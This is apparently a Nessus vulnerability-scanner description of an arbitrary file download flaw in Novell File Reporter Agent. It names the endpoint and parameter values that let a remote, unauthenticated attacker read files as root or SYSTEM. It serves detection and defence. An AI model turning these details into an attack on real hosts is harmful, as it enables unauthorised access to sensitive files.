"The version of Novell File Reporter Agent running on the remote host
has an arbitrary file download vulnerability.  Making a specially
crafted POST request to /FSF/CMD for records with a name of FSFUI and
UICMD of 126 could result in arbitrary files being downloaded.  A
remote, unauthenticated attacker could exploit this to download
arbitrary files as root (against Linux targets) or SYSTEM (against
Windows targets). 

This version of Novell File Reporter Agent likely has other
vulnerabilities, but Nessus has not checked for those issues."
